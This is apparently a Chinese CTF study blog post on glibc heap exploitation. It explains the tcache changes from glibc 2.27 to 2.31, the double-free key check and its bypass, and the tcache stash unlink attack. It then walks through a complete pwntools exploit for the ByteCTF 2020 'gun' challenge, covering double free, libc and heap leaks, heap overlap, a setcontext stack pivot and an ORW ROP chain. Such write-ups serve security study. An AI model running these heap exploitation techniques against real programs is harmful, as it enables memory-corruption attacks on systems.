HEAP-2020-姿势学习

First Post:

Last Update:

Word Count:
3.9k

Read Time:
20 min

HEAP-2020-姿势学习

在2020 10月份的时候,glibc 2.27将更新至2.29一样的特性。

各个hepe的利用方式,很大部分依赖于glibc版本的不同,这里主要讲研究呀下glibc 2.27与2.29以及后续的glibc保护。

Tcache结构

tcache_entry

2.29版本

1
2
3
4
5
6
typedef struct tcache_entry
{
struct tcache_entry *next;
/* This field exists to detect double frees. */
struct tcache_perthread_struct *key;
} tcache_entry;

2.27 老版本

1
2
3
4
typedef struct tcache_entry
{
struct tcache_entry *next;
} tcache_entry;

发现-2.29在tcache_entry结构体中加上结构体指针key,该key值为tcache_perthread_struct的地址。

tcache_put && tcache_get

glibc-2.29

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);

/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache; //new

e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}

tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
assert (tc_idx < TCACHE_MAX_BINS);
assert (tcache->entries[tc_idx] > 0);
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
e->key = NULL; //new
return (void *) e;
}

glibc 2.27

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}

tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
assert (tc_idx < TCACHE_MAX_BINS);
assert (tcache->entries[tc_idx] > 0);
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
return (void *) e;
}

在将chunk放入tcache之后,会将chunk->key设置为tcachestruct,即是heap的开头,来表示该chunk已经放入了tcache。而将chunk从tcache取出来后则将chunk->key设置为NULL清空。 总体上对tcache的改动是在tcacheentry结构指针中增加了一个变量key,来表明该chunk是否处于tcache的状态。

free函数

glibc-2.29

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
{
size_t tc_idx = csize2tidx (size);
if (tcache != NULL && tc_idx < mp_.tcache_bins)
{
/* Check to see if it's already in the tcache. */
tcache_entry *e = (tcache_entry *) chunk2mem (p);

/* This test succeeds on double free. However, we don't 100%
trust it (it also matches random payload data at a 1 in
2^<size_t> chance), so verify it's not an unlikely
coincidence before aborting. */
if (__glibc_unlikely (e->key == tcache))
{
tcache_entry *tmp;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx];
tmp;
tmp = tmp->next)
if (tmp == e)
malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */
}

if (tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put (p, tc_idx);
return;
}
}
}


glibc 2.27

1
2
3
4
5
6
7
8
9
10
11

{
size_t tc_idx = csize2tidx (size);
if (tcache//free+172
&& tc_idx < mp_.tcache_bins
&& tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put (p, tc_idx);
return;
}
}

glibc-2.29中增加了一个检查:

chunk在放入tcache之前会检查chunk->key是否为tcache,表示是否已经存在于tcache中,如果已经存在于tcache,则会检查tcache链中是否有跟他相同的堆块。 这对double free造成了很大的障碍。

常用绕过的一种方法是:如果有存在UFA漏洞或者形成堆重叠等情况,可以修改chunk->key,使其e->key != tcache,就可以绕过检查

glibc-2.31

前置知识

为了增加安全性,2.29 版本以后的 tcache_entry 结构体发生了变化,增加了 key 字段。

1
2
3
4
5
6
typedef struct tcache_entry
{
struct tcache_entry *next;
/* This field exists to detect double frees. */
struct tcache_perthread_struct *key;
} tcache_entry;

在 free 的时候多了一段检测

1
2
3
4
5
6
7
8
9
10
11
12
if (__glibc_unlikely (e->key == tcache))
{
tcache_entry *tmp;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx]; //遍历tcache链子中是否存在
tmp;
tmp = tmp->next)
if (tmp == e)
malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */
}

之后在 tcache_put 函数中多了一段 e->key=tcache 的代码:

1
2
3
4
5
6
7
8
9
10
11
12
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);

/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache;
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}

整个流程为:调用 tcache_put 放入 tcache_entry 的时候,其 next 指针和之前变化一致,但是其 key 字段指向了tcache。接下来 free 的时候会检测 key 字段是否为 tcache,如果相等则检测 free 的指针值是否在对应的tcache_entry 链上,如果在则视为程序在 double free,进而终止程序。这里为什么逻辑不是 key 等于 tcache 直接中断,应该是考虑了用户放在 key 字段的数据恰好为 tcache 值的情况。

这种简单的方法使得之前的 tcache 非常随意的 double free 失效了。不过绕过的方式也非常简单,即在构造double free 时提前修改 key 字段的值为任意其他的值。所以相关的所有攻击手法依然可用,并且增加了能够修改key 字段的前提。

还有一个变动就是 tcache 本身的结构体发生了变化:counts 字段由原来的一字节变成了现在的两字节。

1
2
3
4
5
typedef struct tcache_perthread_struct
{
uint16_t counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

这个变动使得一些分析堆利用的 gdb 插件解析出现了一定的错误。

fastbin

fastbin 与 tcache 之间存在一种新的 stash 机制:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;

/* While bin not empty and tcache not full, copy chunks. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = *fb) != NULL)
{
if (SINGLE_THREAD_P)
*fb = tc_victim->fd;
else
{
REMOVE_FB (fb, pp, tc_victim);
if (__glibc_unlikely (tc_victim == NULL))
break;
}
tcache_put (tc_victim, tc_idx);
}
}

当从 fastbin 里取 chunk 时,其余的 chunk 会被依次放入对应的 tcache 中,终止条件时 fastbin 链为空或者 tcache 装满。

其余并无多余变动,要注意做 fastbin 相关利用的时候要先填满对应的 tcache_entry 链。

smallbin

tcache 与 smallbin 之间也增加了 stash 的过程,即向 smallbin 申请的时候,这条 smallbin 链中其余 chunk 会被放到对应 size 的 tcache_entry 链中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;

/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;

tcache_put (tc_victim, tc_idx);
}
}
}

Tache stash unlink

这种 smallbin 解链方式类似于远古版本的无检测 unlink ,就此也产生了新的利用方式,目前适用于所有带 tcache 的 glibc 版本。

攻击的前提就是得到堆地址,且可以修改 smallbin 中 chunk 的 bk 字段,这里针对不同情况,可以实现三种效果:

Tcache stash unlink attack

该利用方式在祥云杯初赛就遇到过,需要利用该方式将某random key值修改为指定值,类似与unsorted bin 攻击,即向任意地址写入一个不可控的大数字。其最核心操作,就是先放入 2 个 chunk 到 smallbin,6 个 chunk 到对应的 tcache 。之后在不破坏 fd 的情况下将后放入 smallbin 的 chunk 的 bk 设置为目标地址- 0x10 。这样当再向 smallbin 申请对应 size 的 chunk 时(一般用 calloc,因为 calloc 不从tcache分配内存 ),先放入 smallbin 的 chunk 被分配给用户,然后触发 stash 机制。bck = tc_victim->bk; 此时的 bck 就是目标地址-0x10,之后 bck->fd = bin; 也就是*(目标地址-0x10+0x10) = bin,这样就实现了等价于 unsortedbin 的操作。之后调用 tcache_put 把后放入 smallbin 的 chunk 取出给对应的 tcache ,因为 tcache 之前已经被布置了 6 个 chunk ,这次 put 后达到了阈值,所以也就退出了这次 stash 循环,整个流程就可以正常结束了。

glibc 2.29与gilbc 2.31其实利用差不多的,保护检查机制没有增加。

LIBC-2.31利用例子

BYTECTF-2020-GUN

下载:

简单描述

该题是一个libc-2.31的利用, 且开启了沙箱, 只能orw

vul

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
__int64 __usercall shoot@<rax>(__int64 a1@<rbp>)
{
__int64 v2; // rsi
__int64 v3; // rdi
__int64 v4; // ST08_8
signed int i; // [rsp-18h] [rbp-18h]
__int64 idx; // [rsp-14h] [rbp-14h]
__int64 v7; // [rsp-8h] [rbp-8h]

__asm { endbr64 }
v7 = a1;
if ( !loaded_arr ) // 检查是否存在bullet, 然而在释放完毕后也没有对loaded_arr进行清0
return puts_0("No bullet!");
sub_1140();
idx = (unsigned int)input_n((__int64)&v7);
for ( i = 0; loaded_arr && i < (signed int)idx; ++i )
{
v2 = *(_QWORD *)loaded_arr;
sub_1140();
v3 = *(_QWORD *)loaded_arr;
sub_1100();
v4 = loaded_arr;
loaded_arr = *(_QWORD *)(loaded_arr + 8); // vul: not set loaded_arr as null, just move next ptr to this
*(_QWORD *)(v4 + 16) = 0LL;
}
sub_159A();
return sub_1140();
}

__int64 __usercall load@<rax>(__int64 a1@<rbp>)
{
unsigned __int64 v2; // [rsp-10h] [rbp-10h]
__int64 v3; // [rsp-8h] [rbp-8h]

__asm { endbr64 }
v3 = a1;
sub_1140();
v2 = input_n((__int64)&v3);
if ( v2 > 0xD || ptr_arr_flag[3 * v2] == 0LL || ptr_arr_flag[3 * v2] == 2LL )
return puts_0("what??");
if ( loaded_arr ) // vul, 不为0时, 直接
*((_QWORD *)&unk_4068 + 3 * v2) = loaded_arr;
loaded_arr = (__int64)&unk_4060 + 0x18 * v2;
*((_QWORD *)&unk_4060 + 3 * v2 + 2) = 2LL;
return puts_0("Confirm.");
}

在进行shoot的时候, 只是对loaded_arr设置为下一个数据指针, 并没有清0, 若下一个数据指针已经被释放, 即可造成double free

double free poc

1
2
3
4
5
6
7
8
9
10
11
12
li('exploit...')
sla(':', 'I0gan')

buy(0x10, 'E' * 8 + '\n') # 0
buy(0x10, 'F' * 8 + '\n') # 1
load(1)
load(0)
shoot(2)

buy(0x10, 'G' * 8 + '\n') # 1
load(0)
shoot(2)

先泄漏libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
li('exploit...')
# leak libc
sla(':', 'I0gan')
buy(0x450, 'X' * 0x10 + '\n') # 0
buy(0x10, 'A' * 8 + '\n') # 1
load(0)
shoot(1)
buy(0x10, 'X' * 8 +'\n'); # 0
load(0)
shoot(1)
libc_base = u64(ru('\x7f')[-5:] + b'\x7f\x00\x00') - 0x1ebf80 - 96
li('libc_base :' + hex(libc_base))
# release
load(1)
shoot(1)

那么现在要如何实现堆重叠, 然而在程序逻辑中, 加载后的子弹不会清0, 残余的数据指针仍然还在, 那么若我们能够伪造一个chunk, 释放该chunk, 修改释放后的chunk的fd, 即可实现任意地址写入

实现heap overlap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# set heap chunk overlap
n = 9
for _ in range(n):
buy(0x80, 'A' + str(_) + '\n')
for i in range(n):
load(n - i - 1)
shoot(n)

p = p64(0) * 0x10
p += p64(0) + p64(0x31) # fake chunk, because chunk overlap, then we can control it
p += p64(0) * 5 + p64(0x21) + b'\n'
buy(0x410, p) # 0

buy(0x20, '20: 0\n') # 1
for i in range(6):
buy(0x10, '10: ' + str(i) + '\n') # 2 ~ 8

load(7)
load(1) # 1
shoot(3)

泄漏heap且释放我们overlap的大chunk, 以实现我们可以控制伪造chunk的fd

1
2
3
4
5
6
7
8
9
10
11
# leak heap base
load(0)
shoot(1)

buy(0x20, '\n') # 0
load(0)
shoot(1)
ru('The ')
leak = u64(r(6) + b'\x00\x00')
heap_base = leak - (0x55962cf186e0 - 0x55962cf18000 )
li('heap base' + hex(heap_base))

堆栈迁移至heap中并且打rop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
# stack move to heap and rop
libc.address = libc_base
setcontext = libc.sym['setcontext'] + 0x3d
free_hook = libc.sym['__free_hook']
rdx_and_call = libc_base + 0x1547a0
pop_rax = libc_base + 0x4a550
pop_rdi = libc_base + 0x26b72
pop_rsi = libc_base + 0x27529
pop_rdx_r12 = libc_base + 0x11c1e1
ret = libc_base + 0x25679
syscall = libc_base + 0x2584d

p = p64(0)
p += p64(heap_base + 0x750 + 0x10) # set rdx
p += p64(0) * 4
p += p64(setcontext) # call [rdx + 0x20]
p += b'./flag\x00\x00' # heap_base + 0x750 + 0x38 = 0x788
p = p.ljust(0x80, b'\x00') # rdx + 0x90

p += p64(0) # prev_size
p += p64(0x31) # size
p += p64(free_hook) # fd
p += p64(0) * 3
p += p64(heap_base + 0x750 + 0x100) # mov rsp, [rdx + 0xa0]
p += p64(ret) # avoid push rcx
p = p.ljust(0x100, b'\x00')

flag_addr = heap_base + 0x788
# open
rop_open = flat([
pop_rdi , flag_addr,
pop_rsi , 0,
libc.sym['open']
])

rop_read = flat([
pop_rdi, 3,
pop_rsi, flag_addr,
pop_rdx_r12, 0x100, 0,
libc.sym['read']
])

rop_puts = flat([
pop_rdi, flag_addr,
libc.sym['puts']
])

rop = rop_open
rop += rop_read
rop += rop_puts
p += rop
p += b'\n'
buy(0x1c0, p) # 0

li('setcontext: ' + hex(setcontext))

buy(0x20, '\n') # for ajust 1
buy(0x20, p64(rdx_and_call) + b'\n') # 2
load(0)
#db()
shoot(1)

以上堆栈迁移与rop是同一个payload进行的, 需要精心计算, 还有一个坑就是在setcontext中有个判断, 失败的话就执行push rcx, 而rcx 为[rdx + 0xa8], 则在[rdx + 0xa8]处需要添加一个ret指令的地址,这样才能连接到我们精心构造的rop

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
#!/usr/bin/env python3
#-*- coding:utf-8 -*-
# Author: i0gan
# Env: Linux arch 5.8.14-arch1-1

from pwn import *
import os

r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'

elf_path = 'gun'
#libc_path = './libc.so.6'
libc_path = '/lib/x86_64-linux-gnu/libc.so.6'

# remote server ip and port
server_ip = "0.0.0.0"
server_port = 0

# if local debug
LOCAL = 1
LIBC = 1

#--------------------------func-----------------------------
def db():
if(LOCAL):
gdb.attach(io)

def shoot(t):
sla('>', '1')
sla(':', str(t))

def load(n):
sla('>', '2')
sla('?', str(n))

def buy(n, d):
sla('>', '3')
sla(':', str(n))
sa(':', d)

def quit():
sla('>', '4')



#--------------------------exploit--------------------------
def exploit():
li('exploit...')
# leak libc
sla(':', 'I0gan')
buy(0x450, 'X' * 0x10 + '\n') # 0
buy(0x10, 'A' * 8 + '\n') # 1
load(0)
shoot(1)
buy(0x10, 'X' * 8 +'\n'); # 0
load(0)
shoot(1)
libc_base = u64(ru('\x7f')[-5:] + b'\x7f\x00\x00') - 0x1ebf80 - 96
li('libc_base :' + hex(libc_base))
# release
load(1)
shoot(1)


# leak heap base
n = 9
for _ in range(n):
buy(0x80, 'A' + str(_) + '\n')
for i in range(n):
load(n - i - 1)
shoot(n)

p = p64(0) * 0x10
p += p64(0) + p64(0x31)
p += p64(0) * 5 + p64(0x21) + b'\n'
buy(0x410, p) # 0
buy(0x20, 'a\n') # 1
for i in range(6):
buy(0x10, 'A\n') # 1 ~ 7

load(7)
load(1) # 1
shoot(3)

load(0)
shoot(1)

buy(0x20, '\n') # 0
load(0)
shoot(1)
ru('The ')
leak = u64(r(6) + b'\x00\x00')
heap_base = leak - (0x55962cf186e0 - 0x55962cf18000 )
li('heap base' + hex(heap_base))

libc.address = libc_base
setcontext = libc.sym['setcontext'] + 0x3d
free_hook = libc.sym['__free_hook']
rdx_and_call = libc_base + 0x1547a0
pop_rax = libc_base + 0x4a550
pop_rdi = libc_base + 0x26b72
pop_rsi = libc_base + 0x27529
pop_rdx_r12 = libc_base + 0x11c1e1
ret = libc_base + 0x25679
syscall = libc_base + 0x2584d

p = p64(0)
p += p64(heap_base + 0x750 + 0x10) # set rdx
p += p64(0) * 4
p += p64(setcontext) # call [rdx + 0x20]
p += b'./flag\x00\x00' # heap_base + 0x750 + 0x38 = 0x788
p = p.ljust(0x80, b'\x00') # rdx + 0x90

p += p64(0) # prev_size
p += p64(0x31) # size
p += p64(free_hook) # fd
p += p64(0) * 3
p += p64(heap_base + 0x750 + 0x100) # mov rsp, [rdx + 0xa0]
p += p64(ret) # avoid push rcx
p = p.ljust(0x100, b'\x00')

flag_addr = heap_base + 0x788
# open
rop_open = flat([
pop_rdi , flag_addr,
pop_rsi , 0,
libc.sym['open']
])

rop_read = flat([
pop_rdi, 3,
pop_rsi, flag_addr,
pop_rdx_r12, 0x100, 0,
libc.sym['read']
])

rop_puts = flat([
pop_rdi, flag_addr,
libc.sym['puts']
])

rop = rop_open
rop += rop_read
rop += rop_puts
p += rop
p += b'\n'
buy(0x1c0, p) # 0

li('setcontext: ' + hex(setcontext))

buy(0x20, '\n') # for ajust 1
buy(0x20, p64(rdx_and_call) + b'\n') # 2
load(0)
#db()
shoot(1)

'''
.text:00000000001547A0 mov rdx, [rdi+8]
.text:00000000001547A4 mov [rsp+0C8h+var_C8], rax
.text:00000000001547A8 call qword ptr [rdx+20h]
.text:00000000001547AB mov qword ptr [rbx], 0
.text:00000000001547B2 mov rax, [rsp+0C8h+var_C8]
'''

#setcontext
#
# 0x7f6c8f6f21c6 <setcontext+294> mov rcx, qword ptr [rdx + 0xa8]
# push rcx

'''
.text:00000000000580DD mov rsp, [rdx+0A0h]
.text:00000000000580E4 mov rbx, [rdx+80h]
.text:00000000000580EB mov rbp, [rdx+78h]
.text:00000000000580EF mov r12, [rdx+48h]
.text:00000000000580F3 mov r13, [rdx+50h]
.text:00000000000580F7 mov r14, [rdx+58h]
.text:00000000000580FB mov r15, [rdx+60h]
.text:00000000000580FF test dword ptr fs:48h, 2
.text:000000000005810B jz loc_581C6
.text:0000000000058111 mov rsi, [rdx+3A8h]
.text:0000000000058118 mov rdi, rsi
.text:000000000005811B mov rcx, [rdx+3B0h]
'''


def finish():
ia()
c()

#--------------------------main-----------------------------
if __name__ == '__main__':

if LOCAL:
elf = ELF(elf_path)
if LIBC:
libc = ELF(libc_path)
io = elf.process(env = {"LD_PRELOAD" : libc_path} )
else:
io = elf.process()

else:
elf = ELF(elf_path)
io = remote(server_ip, server_port)
if LIBC:
libc = ELF(libc_path)

exploit()
finish()

其他姿势

应付orw

打入堆栈中

泄漏libc中的environ, 该变量中储存的是stack中的环境变量地址,这个可以泄漏堆栈地址, 从而可以打入堆栈中进行rop

堆栈迁移至堆

采用setcontext函数进行设置rsp, 然而再设置rsp的时候是根据rdx寄存器来进行设定的, 而平时在堆中, 若我们可以控制一个rdi, 找到一个rdx与rdi的对应关系, 我们就可以间接的修改rsp,在进行ret的时候就可以达到rop

找一个跳板

1
2
3
mov    rdx, qword ptr [rdi + 8]
mov qword ptr [rsp], rax
call qword ptr [rdx + 0x20] <setcontext+61>

找到setcontext函数 + 61处

1
2
3
4
5
6
7
8
9
10
11
12
mov     rsp, [rdx+0A0h]
mov rbx, [rdx+80h]
mov rbp, [rdx+78h]
mov r12, [rdx+48h]
mov r13, [rdx+50h]
mov r14, [rdx+58h]
mov r15, [rdx+60h]
test dword ptr fs:48h, 2
jz loc_581C6
mov rsi, [rdx+3A8h]
mov rdi, rsi
mov rcx, [rdx+3B0h]

快速查找指令

1
objdump -M intel -D libc.so.6 | grep "mov    rdx,QWORD PTR \[rdi+0x8\]"

参考

https://zhuanlan.zhihu.com/p/136983333

https://www.anquanke.com/post/id/194960

http://blog.eonew.cn/archives/1167

打赏点小钱
支付宝 | Alipay
微信 | WeChat